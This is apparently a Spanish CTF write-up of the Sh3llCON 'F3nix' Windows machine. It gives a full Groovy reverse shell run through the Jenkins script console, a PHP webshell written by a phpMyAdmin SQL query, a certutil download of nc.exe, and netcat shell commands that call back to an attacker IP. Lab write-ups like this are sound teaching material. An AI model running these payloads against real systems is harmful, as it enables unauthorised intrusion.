Hola!
La entrada de hoy como su nombre indica se basa en la solución de la máquina F3nix, que hice para el CTF de Sh3llCON. Como es habitual el write-up se divide en las siguiente partes:
- Enumeración
- Explotación
- Escalada de privilegios
Enumeración
Tras identificar la máquina empleando herramientas como netdiscover o nbtscan, en mi caso 192.168.43.101, se ejecuta nmap en donde se ven muchos puertos muy interesantes como HTTP (80), SMB (139 y 445), mysql (3306) y RDP (3389).
Accediendo al puerto 8080 se identifica el panel de administración de jenkins mientras que en el 80, la autenticación basic de xampp, que tras hacer un poco de fuerza bruta de directorios se detecta el ansiado phpmyadmin.
Explotación
Lo más llamativo sería probar si ese RDP ha sido parcheado o es vulnerable a BlueKeep. A continuación, identificar la versión exacta del sistema operativo, pues en el caso de ser un W7 podría ser suceptible de ser vulnerable a EternalBlue si no se hubiera parcheado.
Sin embargo, desafortunadamente para nosotros el sysadmin hizo sus deberes y ambas vulnerabilidades se encuentran parcheadas.
Pero no pasa nada! Aún hay otros puertos interesantes abiertos 😉
Si no se encuentra la pista de la máquina Resurrection, hay que hacer fuerza bruta contra jenkins (< 3 min) que se identifica el panel de administración en el puerto 8080 y se logra el acceso con el usuario por defecto “admin” y con la contraseña blink182 que se encuentra en rockyou.txt. Una vez dentro, como administrador se puede hacer uso (más bien abusar) de la consola de script para ejecutar comandos. A continuación, se muestra una simple ejecución para obtener el usuario sobre el que está corriendo el servicio:
En donde vemos que somos el usuario Oliver,
Pero nos interesa hacer obtener una Shell reversa. Para ello, pegando el siguiente código (y modificando lo necesario claro) sacado de aquí: https://gist.githubusercontent.com/frohoff/fed1ffaab9b9beeb1c76/raw/7cfa97c7dc65e2275abfb378101a505bfb754a95/revsh.groovy
String host=»192.168.43.197″;
int port=1234;
String cmd=»cmd.exe»;
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();
Llega la Shell:
Escalada de privilegios
Una vez dentro para escalar se podría tirar mirando exploits y demás, pues es un W7, pero si se enumera correctamente y se ve el phpmyadmin, así como el xampp…
Accediendo a esos ficheros: C:\xampp\pphmyadmin se logra obtener la password del phpmyadmin y se continuaría de la siguiente manera:
Entonces logrando estos datos, se procede a hacer logon en el panel de phpmyadmin. Además, si se obtuvo la pista, de la máquina Resurrection, es trivial, se loguea en phpmyadmin (hay dos paneles de administración, si no es uno, es otro xd).
Siguiendo el procedimiento de aquí: https://www.hackingarticles.in/get-reverse-shell-via-windows-one-liner/
Se crea una webshell mediante lenguaje SQL que es exportado a un fichero accesible desde fuera en htdocs (como si fuera /var/www/html):
SELECT «<?php system($_GET[‘cmd’]); ?>» into outfile «C:\\xampp\\htdocs\\shell.php»
Ejecutando código vemos que phpmyadmin corre con el usuario administrator (que podría salir mal xd):
Tenemos una webshell, ¿Cómo pasamos a una reverse Shell? Dos opciones:
- Powershell
- Lolbins como certutil
Usando este último, transferimos nc.exe
certutil -urlcache -split -f «http://192.168.43.197:1222/nc.exe» «C:\xampp\htdocs\nc.exe»
Desde nc.exe se ejecuta la Shell así:
http://192.168.43.101/shell.php?cmd=nc.exe%20-e%20cmd.exe%20192.168.43.197%201234
Y llega:
Como se identifica por suerte para nosotros, el servicio de phpmyadmin corre como system, por lo que no haría falta escalar privilegios 😉
Espero que os divirtierais durante el congreso y a los que os atascasteis con la máquina, os sirva de feedback para aprender 😉
Nos vemos!
Saludos.
N4x4ck5
«La mejor defensa, e un buen ataque»
2 comentarios en «Sh3llCON – CTF Write-up F3nix»
exelente. nada mas dos cosas.
1. me hubiera gustado que explicaras como comprobastes que era windows 7 y que no era vulnerable a bluekeep
2. ya veo dos post en donde la contrasena esta en el diccionario rockyou y es blink182 jaja
Hola,
Me alegra tu interés.
Con el script de nmap smb-os-discovery puedes comprobar que versión de Windows está instalada.. Para comprobar si es vulnerable a EternalBlue, puedes emplear este script también de nmap: smb-vuln-ms17-010 -> nmap -p 139,445 –script smb-vuln-ms17-010 <>
Efectivamente, haciendo 2-3 min de fuerza bruta con rockyou aparece la contraseña.
Saludos.
Los comentarios están cerrados.